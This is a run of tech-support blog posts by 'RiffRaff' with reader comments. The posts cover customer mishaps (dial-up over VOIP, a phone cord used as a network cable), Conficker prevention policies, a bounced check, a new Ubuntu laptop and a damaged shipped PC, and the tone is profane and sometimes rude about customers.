So Magenta let you mount her hard drive? You stud you! *Hi ho hi ho, its off to the LART shelter I go!* -unrenowned
I'm experimenting today with 8.10 and Studio 8.10. Very impressed so far. Just thought I'd share that. -ThinTheHerd
Riff, I think your guess as to the corruption is correct. Some Linuxes have issues with suspension and hibernation. One tip for Linux installations is to format the HD with a separate /home partition. In the case where you need to do a re-installation, you use the existing partition table and reformat everything but the /home partition. (I never use the default partitioning, it leaves you screwed if you need to do a re-installation.) -SalParadise
http://www.smbc-comics.com/index.php?db=comics&id=1411#comic -themaxx
themaxx: I'll remember that when I'm old and dying.... -unrenowned
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65.
Networking Fail
Got a call from a client who purchased a new laptop and couldn't get it on their home network. Not only could they not get it on their network, but now their desktop wasn't online either. Made an on-site call Thursday afternoon to find that they had purchased a new MacBook and an Apple AirPort base station. Sensible, but they attempted to connect everything themselves.
They had pulled the CAT5 cable out of their Windows desktop and connected it to their DSL modem and the base station. Then, realizing that their desktop was no longer connected to the DSL modem, they improvised and connected it...
...with a standard telephone cord.
I've heard of this before, but first time I've witnessed it for myself.
[By: RiffRaff]
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As long as the cable fits it should work! -Starfury
Heh, are you kidding ? I had one cust who actually managed to jam a USB cable into the nic socket ! -Spyder19
USB in the nic is sadly common. Worst one I've had was "Internet cable don't fit" and came in to find the power cable from an HP printer jammed into the ethernet. -LazyLemming
Sounds like they're all honors graduates of the Get-A-Bigger-Hammer University. -Stryker One
I've done the USB in NIC quite often... on most laptops I've used, there's a USB port right next to the RJ-45. They fit quite nicely. -linuxmatt
Interestingly, on my MBP, the Ethernet port is *not* next to a USB port - possibly for this very reason. On one side tere is the DVI port, on the other are two Firewire ports (800 and 400), and *then* a USB port. There are two USB ports on the opposide side of the machine. -Chromatix
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66.
Okay, Who Tripped The Quantum Shifter?
Been really busy since last Thursday taking some pre-emptive measures to ensure our company doesn't get affected by the new Conflicker worm. Instituted a "No USB Devices Without Authorization" policy, as well as a "8-character Minimum Windows Login Password" policy, and went around to all systems disabling autoplay and autorun. I also ran the latest MSRT which specifically scans for Conflicker, and none of our systems tested positive.
Today I've been going around to other systems that are less at risk (VMs, unassigned computers, etc.) and applying the policies and patches to them as well. One of those was the boss's Mac.
Now, here's why I think someone has popped me into an alternate quantum reality: First thing Monday morning, I sent out a high-priority e-mail to the execs alerting them to the threat that this worm poses to corporate networks, including some links to news articles, and my recommendations for securing the network against it. I was basically told, "Do what you need to do." No argument; no discussion; no questions. That was the first eyebrow raiser.
Then I sent out a company-wide e-mail letting everyone know what the new policies were, and why. The big boss reply-all'd to it, backing me up and even getting a little more firm on my laptop policy. He basically told everyone that this was serious stuff, and to do what they're told. Second eyebrow went up.
But this afternoon, I have entered into the realm of fantasy, where the usual rules of corporate logic do not apply. The big boss stopped by my desk and asked for an update, and specifically inquired if any of our systems had been infected before I got to them. I told him no, that our external network security was pretty good, and that I was much more concerned about someone bringing it in via a compromised laptop.
He looked me straight in the eye and said, "Well, that's to your credit. Companies are getting infected all over the place. You get one big kudos in your kudos file."
0.0
Where am I?
[By: RiffRaff]
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Don't get too excited, that was your raise for 2009. :) I got a similar one... -JoeLugian
Just remember that one 'awe shit' wipes out a hundred kudos. -TieDyedDinosaur
Ceo's are starting to pay more attention to thus stuff of late, especially since their collective rear ends can be liable if they don't do anything about it when informed. Also, hiding the evidence of said intrusion can put them in even deeper kimchee. So this is a case of enlightened self interest. -McSmiley
As "out there" as this idea might seem, maybe.... just maybe, someone has realized that you are good at your job!! Well done. -Dewby
You know, Rod Serling might JUST have faked his own death JUST to come back for you, Riff.... -ShujinTribble
Makes me want to watch the first season of Sliders again....before it jumped the shark. -Biosynthetic
*Voz cues up the "dee-dee-dee-dee, dee-dee-dee-dee", of the Twilight Zone theme* -Voz
You have entered the Land of Wha Th' Fuc? -vacuumtubes
Have you noticed any pods near his desk? -MisterCommon
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67.
Thanks, Mr. Obvious!
From a conversation I had with a user today:
EU: *Rushes up to the network printer and starts putting paper in like a madman*
ME: Yo, what's up?
EU: Oh, nothing. It's just I've got to get up here and put the letterhead paper in the tray before someone else prints to it. *User rushes back to office*
ME: *Calling user on phone* Um... Would this be a bad time to point out that you have a laptop and you can just bring it up here to the printer with you?
***Pregnant Pause***
EU: Well, FUCK!
Thanks, Mr. Obvious! I never made the connection! Mr. Obvious, you're a lifesaver!
[By: RiffRaff]
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http://xkcd.com/530/ - How many times have you tried to do Task-A, found a problem & spent hours fixing the problem, only to find you didn't need to do Task-A in the first place? -AussieFoot
Aussie - I suspect that is how all the users I support function. -lurker
Lurker- With the exception that they would understand none of that offsite link besides throwing rocks at a window...*maybe* the phone call. Otherwise bang head on door. -Kiddingme
Whoa, I never made the connection! -ActingUpAgain
And lets not forget 'Howling at the moon'! That is all too often the reason one is prompted to ask for help from someone who knows about the 'shortcut'. Utter frustration sometimes leads to enlightenment after everything else fails. -TieDyedDinosaur
Riff, I think two prominent lines are out of logical order in your story. ;-) -concept14
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68.
The Revelation
Ladies and Gentlemen (and Burrkiss),
We've all had those calls where hours of useless and needless troubleshooting is done in an effort to fix a problem, only to have the customer finally drop that final, last little tidbit of information that also happens to be the most important one.
VT, I want you to pay close attention to this one, because your reaction will no doubt be priceless.
Client calls me to come out and fix an e-mail problem she's having with Drop.Net. I advise her that her best bet is to call them to resolve the e-mail problem because that is covered under her free technical support, and I really don't want to charge her for something that should be free from someone else.
But, no, she's already taken her computer into Drop.Net, she informs me, and they are unable to reproduce the problem. So she wants me on-site to figure it out.
Okay, fine. I arrive and confirm the e-mail problem. E-Mail freezes on download, but not always on the same message. There is also a small glitch in website access that I can't pinpoint. The dial-up connection is there, but every now and then there is this little "Page not found" error, which corrects itself on a page refresh.
I switch her from Windows Mail to Mozilla Thunderbird, and show her how to access her e-mail from the Drop.Net web interface if she runs into future problems. The problem isn't so much solved as I give her ways to work around it when it happens. I write it off to Vista and dial-up weirdness.
After half an hour, she asks me if Drop.Net provides DSL services. I tell her yes, but she's much better off going through her telco for DSL, and I ask her who she's using for her local phone service.
And it's at this exact moment, boys and girls, that my head enters into a permanent state of What-The-Fuck; for her response to my inquiry is...
"BrightHouse."
.
..
...
....
Um... Okay. Yes, indeed, her phone is using VOIP through a local cable provider. No, she doesn't have cable TV or Internet service through them; just phone. Yes, indeed, she is truly dialling up to her local ISP using a 56k modem over a VOIP line.
Now, I've always heard that this should be theoretically possible, if not advisable, but I've never run into someone who actually did it. Until today.
My tale is done. I'm off to the liquor store. Rant from VT in 5... 4... 3... 2...
[By: RiffRaff]
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...and that, dear reader, is the technical equivalent of chopping up a lifeboat to make a raft. -Gromit
After yesterday's clusterfuck, I needed this. thanks, Riffy! -AdmiralLaurie
Wow... I really need to get started on that wall protecting Illinois from Indiana... -exzyle2k
Ok, I've been back and lurking for a month or so, but I just have to comment on this one... WHAT IN THE HOLY HELL??!! Let me just wrap my head around that for a minute. Nope, just as I thought... does not compute. -pcgod
<thunk!> (Jaw hitting the ground). WTF? OMFG! Have a drink on me Riff. -Wraith556
words...fail me. -rosemetal
And I thought tethering was bad. WTF?! -Seamus
Cyclic redundancy check - She wasn't trying to get VOIP over dial-up over VOIP was she? -AussieFoot
I have seen it done, in a last-ditch situation where it was her only access, and she kept its use to a minimum. -evolvedstarfish
After 2 years here at $CableISP, I had a call like that last week for the first time. But I thought you had a call like that before, RiffRaff. Isn't there a call like that in your webpage? -MisterCommon
Brain hurts... Illogical action too dumb... Must ... shutdown ... key .... *bonk* "Error has occurred in key logic core system files, please restart brain to continue" -unrenowned
MC: I don't think so, but I could be wrong. I think I remember having a customer *ask* if they could do that, but if I've dealt with someone actually doing it before now; it has mercifully slipped my mind. -RiffRaff
Kinda like a particularly space cadet friend of mine who ordered a double grilled cheese sandwich with no cheese at a restaurant once.... -SirBSOD
I had something like this but with a twist. ustomer had our voip phone service. She was using it for dial up. but, she was omplaining that she wasn't getting highspeed through it... dumb&%!@ -RoadDemon
SirBSOD - I saw a column once where the restaurant didn't serve toast, so the columnist ordered a grilled cheese sandwich without the cheese to get toast. -MSimmons777
I have installed that twice, out of about 500 phone installs. -burrkiss
I don't want to tell you about the outsourced tech that we had for a week or so that royally botched installs much the same way -deskmonkey
I actually had a user call in with this exact issue. They had switched phone companies 2 weeks prior to calling us and during those 2 weeks, they've never been able to access the VPN. They were attempting the same thing, dial-up over VOIP. Luckily, once I explained that they were on high speed now, it wasn't an issue. -harrellj
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69.
Prima Donna Got A BlackBerry
Title says it all. Nobody consulted me on any part of the deal. Never mind the fact that he's already got a Verizon Air Card so he can download his fucking precious e-mail wherever he's at. Never mind there might have been better and cheaper options than a fucking BlackBerry. Never mind he's a fucking redneck hillbilly from West Virginia who doesn't know shit about technology other than it's *shiny* and something he can show off to all his fucking redneck hillbilly buddies so they know how almighty goddamn important he is.
Stupid fuck.
Yeah, I'm pretty pissed off at the moment. Go figure.
[By: RiffRaff]
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I swear I work with you....LOL...same thing happened this week here! -FormerSithLord
That reminds me of the time our snotty young temp was given a laptop, air card and blackberry. I fought it tooth and nail because it was against policy, but to no avail. -techinator
if there is a BES server involved, wipe it and lock it
-bumblingalong
I guarantee you that next Monday, it'll come back covered in mud. -Biosynthetic
Hey Riff... If someone who doesn't know shit about shit gets all this stuff, how come you're not living in a penthouse suite being waited on hand and foot? Better yet, how can I get a job there? -exzyle2k
I don't understand why people want those things. I can configure a Windows Mobile based phone in 15 seconds. Damn BlackBerry software takes 2 hours to beat into submission before it "works". -TechDaddy
Riff - I think "shiny" is the key word here proceeded by the phrase "I want". Besides the BB is the only smartphone with rainbow colored balls. -PCChaos
Now that I have seen a crackberry, I understand why stupid people shouldn't have one. -AdmiralLaurie
I'd be more than happy to give up my lap-tomb, air card, and Blackberry. They even threatened us with it in the last round of budgets. Unfortunately, my boss didn't go for it. -AngrySup
My boss gave me the option to give up my Iphone (paid for by me, with 2.5 years left on the contract) for a company issue blackberry. Right, I'm going to pay to terminate a contract in order to use a phone I hate... -garwain
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70.
Will Wonders Never Cease?
At the end of 2008, I sent a formal memo to Peyton Place's executive board with 11 recommendations for IT and IS improvements in 2009, ranging from something as simple as putting a lock on the server closet door to introducing Linux with VM XP installations for workstations.
All but one was approved.
O.O
I'm sorry; who are you people and what have you done with the people I work for?
Wow.
Strangely enough, the one suggestion that was declined was using Peyton Place 1 & 2 as offsite backup sites for each other. I think that may be do to a lack of understanding of what I was actually proposing. But still... Wow.
[By: RiffRaff]
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New year, new budget, and trying to keep you happy (and quiet). LART shelter, ho! -ActingUpAgain
Did you re-recommend OOo? *grins* -NightSteel
The they ok'ed using Linux on workstations..somthing that if screwed up(not like you would) would require backups, and Nixed the Idea of actual backups? -neuman1812
Which one was denied? The padlock? -linuxmatt
No, we have backup servers at both locations, but no off-site backup solution. I recommended upgrading both backup servers so they could mirror each other via rsync. That way if one building gets destroyed we still have data. That got nixed. Don't ask me why. -RiffRaff
Because redundancy is reduntant, silly. Besides, everybody knows that the servers will never suffer a catastrophic failure, because that's why they're paying you the small bucks. -emdeebee
i might make a comment about "if the building gets destroyed" but you live in tornado fscking alley. -illiterate
destroy one building (simulated) and then point to idea list. -HappyCrappy
they approved the tazer? woot! -stiffarm
I take it the fact that dealing with obama voters wasn't considered IT, and so, wasn't on the list... -Spyder19
You are obviously on a winning streak..time to start asking for chainsaws :) -CommanderData
Hopefully $peyton_place has a safe deposit box somewhere so you can store either a tape set or an external hard drive for each location. If not, suggest that they rent one and store the backups there. That way, if one of the two buildings is lost, their data is safe unless the bank gets toasted the same day. -cecil36
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71.
'Twas The Night After Christmas
Gather 'round, young lads and lasses, as I join the TSC tradition of combining a story with food and drink. The freshly carved roast beast is particularly savory, and I highly recommend the Rothschild's '61, as it was really quite an excellent year.
Our story begins in the wee morning hours of the weekend after Christmas, and my wife and I snug in our kerchiefs at my cousin's house north of Chicago. Our peaceful slumber is rudely interrupted at about 02:30, to a sound which I recognize all too well: Homo Sapiens resolving differences of opinion by other means. Ergo: a fight was brewing.
Seeing an opportunity to put our dog's training to good use, I pull on my pants, grab my phone and flashlight, call the dog and head for the back door...
...to see about three dozen people trying to kill each other with shovels and baseball bats in the back yard of the house next door.
O.o
Okay, I know when I'm outnumbered. So I call 911, unaware that my cousin is doing the same thing from their upstairs bedroom, from where they have a bird's eye view of the shenanigans going down less than 100 feet away.
I let the dispatcher know that this is not your typical drunken brawl between two friends, and that they need all available units on the scene NOW, and weapons are involved.
I must admit, this is one of the best response times I have ever seen from a police department; patrol cars were on the scene both in front and in back of the house in question before I could get off the phone. Everyone next door scatters like cockroaches into the night.
Final tally, as near as we could tell from our vantage point: 11 local police cars, two unmarked police cars, 1 K9 unit, 1 county sheriff's deputy, and 12 people arrested.
My cousin really knows how to make a guy feel welcome. *bfeg*
IF I can find a link about this incident in the local news, I will post it, but I'm not holding my breath.
[By: RiffRaff]
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West Side Story Christmas Special? -Seamus
Wow! And the most excitement we had this season, was the cops showing up at our door, to return stolen mail recovered from a local heroin junky. Yeah, this neighborhood seems to be getting worse. On the upside, it was a bunch of my fellow neighbors that spotted him, chased him down and held him for the cops. -Stryker One
Riff, when are you headed back thru on your way home? I'm literally RIGHT off I-80, and I would love a chance to meet up and shoot the shit for a few. -exzyle2k
And just HOW big a dog do you have? I'm guessing 'Not Big Enough' at that point. -ShujinTribble
ST: She's big enough to take down a fully grown man, or intimidate two or three into submission. But Lassie herself could not have taken on this crowd single-handed. exzyle2k: e-mail me your cell #, and I'll call you if we have time to stop by. Magenta has to be back at work Tuesday morning, even if I don't. -RiffRaff
ST, I have video of Sienna in action (against Riffy) if you want the link ;) -evolvedstarfish
Would've been icing on the cake had a crew from COPS been on hand to record the scene... -vacuumtubes
I'm not sure where they're staying, but I know that Daly and his crew won't allow COPS to be shot in Chicago because it "portrays the city in a bad light"... Everyone knows crime happens, so why not benefit off it... -exzyle2k
Riff - ONLY 3?!?! You need an UPGRADE! ( http://www.imdb.com/title/tt0078924/ ) -ShujinTribble
Here in Columbus "that side of town" is called the Bottoms. Family street fights and everything. -Darkridr
You have Rothschild's '61? And roast beef too -- how come you didn't serve that at the barbecue? -concept14
And the purpose for having the dog is... -taylites
tay - You use the dog to catch the cat; you use the cat to catch the bird; you use the bird to catch the spider..... -ShujinTribble
ST: She's trying to talk me into a Great Dane puppy. I think I'd rather stick with a dog that doesn't require us to buy a bigger car. -RiffRaff
Who cares about a bigger car? If you get a great dane, you do realize you'd have to purchase your own dog food franchise don't you? -DataSolutions
...but you save on gas by harnessing the dog to the front of the car! -Voz
How did you get the cops there that quickly? Tell them that the riot was in the donut shop? -lineswine
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72.
Drop Net Customers Sighted In Wild (NT)
So, Magenta and I stopped by a Pizza Hut for lunch on our way to Wisconsin today. It was busier than usual, but not packed. Halfway through our lunch, this woman comes out of the bathroom area and in total Bitch Mode yells at a man who I assume is her husband, "Hey! Come help me find $Child!"
The man responds, "He's right there!" and points right next to her. She looks down, sees the child at her side, ramps the Bitch Mode up a notch, and yells, "Well, come get 'im then!"
Redneck Bitch. You gotta weep for the offspring.
[By: RiffRaff]
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FIX 'IM!! -vacuumtubes
Riff: It's not just the rednecks in Indiana; we have the same type of parent's here in California...minus the accent. -Starfury
Myth of Fingerprints. -Seamus
*complete loss for words...* -unrenowned
So - the dipwad couldn't see her child because her cranium was lodged too far up her anal canal....? -Zimmerit
The woman probably didn't see the kid because of her two black eyes! -billybien
She couldn't see her child...because she weighs 400lbs. -lineswine
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73.
Brass Balls
Y'know, it really burns my ass when I try to be nice and understanding, and show a little compassion for people with low incomes, and they take advantage of me.
Case in point: Regular customer brings a laptop to me; I forget what the problem was, but they are very bad about allowing their systems to become compromised. So, about twice a year I'll get a call from them because something ain't working right. I've cut them breaks on my rates, because they are quite obviously not made of money, and I know what it's like to incur an unexpected repair bill that I didn't really have budgeted.
Last time was two months ago. Total repair bill was $35. She asked if she could write me a check that I could hold until her husband could bring me cash. I agree, partially because I've done a bit of work for them; partially because I know these are tough times for everyone, and Magenta and I are very lucky.
She writes me a post-dated check for the next Friday. Two weeks go by, and I hear nothing from the husband. So I call and inquire. She tells me to go ahead and deposit the check. I confirm this with her, because my spidey senses are tingling, but she says it's okay; the money's in the bank.
How often we hear that line.
So I wait an extra week, and deposit the check into my account. Comes back to me NSF, along with a fee from my bank. Those of you who are surprised, please raise your hands...
Now any slack they would have gotten from me is out the window. I call and leave a message, explaining that the check has been returned to me, and I need settlement of the debt plus NSF fees. Y'all can hear the crickets chirping in lieu of a response, yes?
Fast forward to today, about six weeks after I left that message, and her laptop won't get online. I'm assured that they will settle up with me this weekend, but in the meantime, they have a problem. I politely but firmly inform them that the prior bill needs to be settled before I can do any further work for them, and oh by the way, it's $50 you owe me now.
Now all of a sudden, the existing problem is *my* fault, because it hasn't worked right since the last time I worked on it.
Pardon me while I put a band-aid on my bleeding heart, if you don't mind.
So, now the situation is, her wireless won't work no matter where she takes it; they owe me $50 from work I performed two months ago; and my hourly rates will be strictly enforced with them from now on, with one hour labour due in advance. Cash only.
Yes, I'm a Scrooge and a Grinch combined. No, I don't give a rat's ass.
[By: RiffRaff]
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Dealing with the public wouldn't be so bad if you didn't have to deal with the public. < Repeat as needed. > -TubPorsche
Not to be a downer, Riff, but you might actually have contributed to the problem yourself. Granted, it really isn't your fault if someone else can't keep up with their finances, but when the lady told you the money was in the bank, you shouldn't have waited. It may well have been, when she told you it was, and then got spent in the intervening week. Careful, they may try to pull that on you themselves. -NightSteel
Riff mate, this is us you're talking to here. We've all been there and I doubt you'll find anyone here who thinks you're beeing unfair or Scrooge-like in any way. -flapjackboy
NightSteel - Yeah, they might try that line of reasoning, but they'd still be wrong. You can't spend the same money twice. A check = cash. Or that's the general idea. -figglywig
In Indiana, if you write a check to someone and the funds aren't in the account to cover it, you've technically committed a crime, plus the person holding the check can legally sue you for up to three times the face value of the check. Y'all know me well enough that I'll be the first one to mea culpa if I think it's warranted; but I'm not going to take any responsibility here. -RiffRaff
I think it's really dumb that banks charge you when a check from someone else bounces. -Icelator
BTW, happy birthday, ya ol' fuck... :-) -vacuumtubes
Hell yeah, I can wite you a check! I thought you said you wanted money. <Foxworthy> -cyrusvirus
Scrinch? -edventure
Thanks, VT. As of Friday, I will be the answer to the universe, life, and everything. ;~} -RiffRaff
That's RIGHT! You put a magical tech lock on their interwebs that will only be fixed by proivding you with $100 ( $50 for the first and bounce check fee, $50 for the second because they are a credit risk ) <Evil Grin> -Necros
What I would have done is gone to the bank listed on the check and ask the bank teller if there's sufficient cash in the account for the check to clear. If there is, the bank should be able to cash the check for you. If not, then you save yourself an NSF fee and could have other avenues open for collection of payment. -cecil36
This is why I only accept cash. And congrats on hitting 42. I did it back in October. -Starfury
Ice, the banks can't go after the person who wrote the bounced check because they obviously don't have any money! -rdwells
ecil36 - bingo. Exactly right. As an ex-teller if you CALL they wouldn't be able to confirm much beyond there being funds currently available.. but that's just me. -ShujinTribble
(*Wavies!*) Hoppy Birdy, Riff. Too bad you didn't stop at 39 like I will. -ShujinTribble
The bank charges BOTH people returned check fees. And its really absurd, too. 20+ years ago, a service charge of some type did make sense as it cost them some work and labor to determine it and send it back. But now everything is 100% electronic (even paper checks will be scanned and processed entirely electronically even if different banks are involved) and doesn't cost them anything extra to reject it. They've just turned the returned check fees into another source of income, just like credit card companies don't really want you to pay off your bill every month since they make everything up on interest when you end up paying (on average) about twice as much as the original item cost in the first place. -SirJosh
my first thoughts were to take the laptop, fix it, and then hold it as collateral until all of the debts were settled... or is that not BOFHish enough? -Bynar
I love getting shafted for payments. happens to me every time I offer to make something for someone my own age. They don't pay because they don't think I'll make it. Until I show them the unique blanket/shawl whatever they asked for. Then suddenly they have money pouring everywhere.... -AdmiralLaurie
Shujin, I was a teller for a long time too, and that is the way it used to be. However, Federal Privacy laws have tightened so much that they cannot give out even that information anymore. You have to go and physically cash the check to confirm the funds. Only then will they tell you if it will clear (and give you $) or not (or not give you $). I used todo the call and confirm funds all the time. My aunt is a teller right now, and says it is now illegal for them to give that information, even to other bank branches. -Magenta
Magenta - well, now, THAT just blows! -ShujinTribble
Bynar: you are assuming that the lappie is worth more than $100. -Griffin2020
I agree with Icelator. The moral of the story is the BANK IS THE VILLAN. Its bad enough that cash is low, these SCUMBAGS feel it is fair to add insult to injury and whack a fee on top. Explain to me how they get to charge for refusing to pay with insufficient funds. Its not a loan, they refused to provide cash, and they cram debt onto the one party that has established an inability to pay. Forget the laptop, financial services must die. We must rid ourselves of financial instruments that are used primarily to steal the nickels and dimes and 401ks. Your check would have cleared if you were'nt all robbed by the scumbags that congress now must bail out in order to have lobby booty for later. Lets bounce their check and limit their assault on citizens' earnings. Who needs credit if it takes away all of your assets and leaves you with debt. Its a raw deal. -BobWho
I do a lot of residential server, and am always nervous about checks if I don't know the person. I usually have at least one NSF check per month, but it's simple to rectify. mail invoice to client with 2x the bank fee as an administrative fee, plus interest rates applied from time of original invoice (rates marked on original invoice). Wait a few weeks, wander over to the court house, and pay $30 to file... balif wanders over to clients house and serves them. After that, a certified check, money order, or cash tend to show up. -garwain
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74.
Santa Came Early
My first 64-bit laptop! Toshiba Satellite, with an AMD Athlon X2 2.0 GHz dual CPU, 4 GB RAM, 160 GB HD. I've already installed the 64-bit version of Ubuntu 8.10 on it, and I'm in the process of copying over all of my music and documents across the network.
Of course, as part of the deal, Magenta gets my old Gateway, which will add her to the TSC Ubuntu community (sorry Ghost). And, another "Windows Vista" sticker hits my wall of "Rescued PCs." *bfeg*
Anyone else using 64-bit Ubuntu? Anything I need to watch for?
[By: RiffRaff]
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Why, for some reason, do I envision Vista taking the place of the worn out mops in those Swiffer commercials? Anyone else know what I'm talking aboot? -exzyle2k
I bought a second hand HP/Compaq on eBay and tried to put freeBSD 7.0 on it. I tried and tried and read webpages and changed hardware and tried and swore and tried and failed. Failed. Failed. I downloaded the server version of Unbuntu and it installed on the first try :-) I'm now number one Unbuntu fan. -Gerund
I'm just starting out with ubuntu, so..... But Orca works like a charm, a lot like jaws, but a lot different. I need a different voice, though. -AdmiralLaurie
Why bother with 64-bit if you're still limited to 4GB? Do you have some app that requires 64-bit? -Stryker One
Stryker: I'm not limited to 4 GB; that's just what it came with. -RiffRaff
I'm running 64 bit 8.10.1 on an "old" desktop. No issues have cropped up yet. Happy Holidays! -ThinTheHerd
Which model of Toshiba Satellite exactly has slots for more than 4GB? -Stryker One
Good point. It was the Acer I was looking at that was upgradable to 8 GB. My bad. But still, that being said, to answer your original question: Why not? ;~} -RiffRaff
I got a rock. And stomach flu... -vacuumtubes
exzyle2k: Baby come back! Any kinda fool could see... -Grayhawk
"...I was wrong, and I just can't live without you" </Exile> -billybien
*sigh* Oh well! I've been trying to take Magenta from you all this time, but ... I guess it was never meant to be. Don't mind me, I'll be here in Pond Life drowning my pain... -TheGhost
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75.
Busy Morning
From a user's computer maintenance log:
December 11, 2008
Review Untangle Web Filter Logs...................................Excessive personal surfing & social networking indicated
Review Firefox browser history......................................Excessive personal surfing & inappropriate content indicated
Copied user's Firefox history to external media.................Referred to $HR Director for review
User terminated; computer locked out pending further review
Long story short, I started rattling off all the sexual content searches this moron was doing on company time, and she stopped me after I got to "anal-oral sex;" told me she didn't want to hear any more.
*snicker*
What a maroon. I truly do not care what particular kink you're into, but leave it at home, for diety's sake!
[By: RiffRaff]
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I have a feetish. That is, Heather Mills does nothing for me. They have to have two of them for my feetish to work. (Ducks) (runs to LART shelter) -Gerund
i found a DVD in a company laptop full of bondage pron, sick bastards........ forgot my dvd rewriter :-P -r3tude
picts or it didn't happen :) -neuman1812
Good for you, RiffRaff! Last time I "discovered" something like that, it was one of the higher-ups at the company, and I am no longer permitted to handle their computers. Their loss, but still, I could use the cash. -ralphp1024
Dumb fuck. Guess he doesn't realize there's a recession going on. Well, his loss--many times over. We'll have to see how long it'll take to find another vocation.... -vacuumtubes
Maybe he'll get a new career as a seed donor? -billybien
But, the internet connection at work is so much faster -Spyder19
I think the most daring thing I ever ever did on a school computer was to look up methods of packing my suitcase. nothing more, nothing less. I leave any questionable surfing to home. use. only! frakking nutcase. -AdmiralLaurie
No mercy for the starfish! -formatCdrive
Had something like that last year - only I was VNC'd into his computer watching him surf and did a screen capture. He took it well, but I still wonder if he gave his wife any details on why he was terminated? -ActingUpAgain
Last time we had that, the guy's wife was in the pictures! Think "Wifey' videos... -Divinar
"but leave it at home" cAN i LEAVE IT AT YOUR HOME? -burrkiss
crap i caplocked it. -burrkiss
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76.
In Communist China, Linux Installs You!
http://www.npr.org/templates/story/story.php?storyId=97735184
Story summary: Some internet cafes in China are being forced by officials to drop the Microsoft operating system in favor of "Red Flag Linux," supposedly under the guise of cutting down on software piracy.
Who, besides me, wants a copy of this distro to see exactly how it works, not to mention as a collector's item?
[By: RiffRaff]
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http://www.redflag-linux.com/xiazai/eindex.php < download -neuman1812
I'm not a Linux user, but I know that I wouldn't want this on MY PC. It's bad enough that the US government could be spying on me, why would I invite the Chinese to do the same? -NightSteel
Confucius says: "The Penguin will make you free." ... wait, Confucius was communist, right? -TheGhost
charging $700 in fees? Possible GPL violation? -McSmiley
Um... If you're paying for Linux... YOU'RE DOING IT WRONG. -Seamus
McSmiley: they're really, really expensive blank CDs! -Helix666
From the site and reading a bit more, it appears you have to pay for "Certification" to install the server version. Since most Internet cafe's will probably be client/server based. this is where they get you. plus its china....do you realy think they care about GPL violations? -neuman1812
Formerly known as Melamine Linux Deluxe. -Biosynthetic
Given a choice of global domination between US and China, I'd prefer the US. The political system is not perfect, but at least there's not the graft, corruption, nepotism, cronyism, abuse of process and law like China's. Where else for a small payoff to local officials can a company kidnap children and use them as slave labour in a hazardous workplace? -Wraith556
version "Tibet" -stiffarm
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77.
Follow-Up On Yesterday's Tech Rule
Final damage assessment on the computer shipped via FedEx from Texas to Indy:
Front plastic panel damaged
Metal case bent in two places
Floppy drive physically damaged & no longer functional
Hard drive physically damaged & no longer functional
CPU physically damaged & no longer functional; pins bent beyond repair
Yes, you heard me correctly: The computer took such a beating that the processor pins were bent, while it was seated in the socket.
Yet, $Prima Donna is insisting that they packed it properly, using "two inches" of bubble wrap.
Whatever. Watch what gets assigned to your next remote job site, dumbass.
[By: RiffRaff]
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I am sure you took photos of the package before you opened it, during unpacking, and the autopsy. -MarloVino
I took photos of the damage, which I included in that system's maintenance log. But I was not present for the unpacking; it was presented to me already out of the box with one sheet of bubble wrap around it. -RiffRaff
Post the pix. -BarmanVarn
http://www.wizardslab.net/~riffraff/pictures/ShippingDamage/ There ya' go. Enjoy. -RiffRaff
Ah, The ol' Drop Kick me Jesus Delivery Service.... -beatmewithstick
How in heck do you bend CPU pins when it's installed? Did the fan/heatsink assembly come off? Was it loose to begin with to allow the CPU to jump? -Enzedder
You got me how they did it. All I know is I tried to power the thing up, and I didn't even get POST beeps. So I started tearing the thing down to its bare components, and those pins were already bent when I pulled the CPU out of its socket. Heat sink and fan were tight, and in place. You tell me how they did it. -RiffRaff
It looks like they found all their old damaged parts and threw them all together before sending it to you. O.o -NightSteel
Fed-Ex? LOATHE them entirely. Had components delivered to my house. My wife was home the entire day and they didn't show, but their records indiated proper delivery. No signature requested, even though I'd asked for it. -Biosynthetic
My wife had a similar experience yesterday with DHL delivering two cell phones from AT&T. Their records showed delivered, but the driver delivered to the wrong address. Luckily, my wife called DHL to inform them of the issue and made AT&T aware that the phones got delivered elsewhere and told them not to activate the phones if someone tried to do so. The phones did arrive OK, once the driver realized that he delivered to the wrong address and the person at the other address marked the boxes for return. -cecil36
Hmmm, sounds suspiciously like they *may* have done a swap of parts. Are you sure the machine you received contains the parts it should? I'd be wondering whether or not the place it came from had been playing too... -Enzedder
It was in the possession of Peyton Place employees the entire time. So far I know that computer was operational as of October 17. So whatever happened to it, happened in the last four weeks. -RiffRaff
the two inches of bibble wrap refers to the size of the sheet of bubble wrap that was attached -McSmiley
Hey Riff, not to nit-pick, but the "missing" pins on the P4 you have circled are like that from Intel... /hides behind the LART shelter, knowing inside is the first place he'll look -exzyle2k
FOCUS! -Stryker One
I think it was "drop tested", from the top of the warehouse. -Wraith556
seriously, assign the most onerous, oldest shite compys/lapps to them. you may have to keep them connected, no one said connected well. -HappyCrappy
Hey, exzyle, not to nit-pick, but I circled those pins because they were bent as well, not because I thought they were "missing." There is no shelter deep enough for you. -RiffRaff
That ACTUALLY looks like "I fucked my CPU up trying to put it on the mobo wrong, let's rip the one out of THIS box before we send it back, and pack it for shit so it gets damaged on the way there. THAT way, it'll just look like a bad ship job instead of theft!" -Grue
...send'em an abacus and a manual on it?... <BFEG> -CTYankee
bent cpu got me thinking...maybe somebody there trashed it, and they wrapped it so poorly so they could blame it on transit? </tinfoil hat mode> -CTYankee
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78.
Switching A Client To Ubuntu
I have a couple for whom I've been doing computer work for several years. They usually can't afford to pay much, so I either charge them dinner or just pro bono it and consider it part of paying back my karma from when I wasn't such an upstanding citizen.
At any rate, these people must live near an electromagnet manufacturing plant. I recently replaced their two computers (donated to them by some charity who specializes in providing computers to handicapped people) with two newer models. Nothing fancy, but they at least didn't require SIMM chips for memory.
Overhauled, hard disks freshly fdisk-ed and formatted, running Windows 2000 Professional. So here we are, less than 90 days later, and one of them is no longer booting, choosing instead to claim that a critical system file is missing. My first thought was the AVG update bug had gotten them, but she had uninstalled AVG to speed up her system, and it was a different system file than what AVG was deleting. Oh, and the floppy drive isn't working anymore.
These are not starfish, either. She uses Putty for MUD gaming, and he's completely capable of downloading and installing his own software, as well as troubleshooting basic problems. So it has to be some sort of magnetic field.
Any-hoo, I had already made the decision to no longer supply used computers with Windows operating systems to customers as of January 1st unless they purchase the disk and provide it to me. So, I'm sending them an Ubuntu 8.04 install CD and see how they do. Hopefully, Linux will be more resistant to whatever demons are haunting their humble abode.
[By: RiffRaff]
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They live near electromagnet plant? I'll bet that's hell on magnetic storage media. -srteach
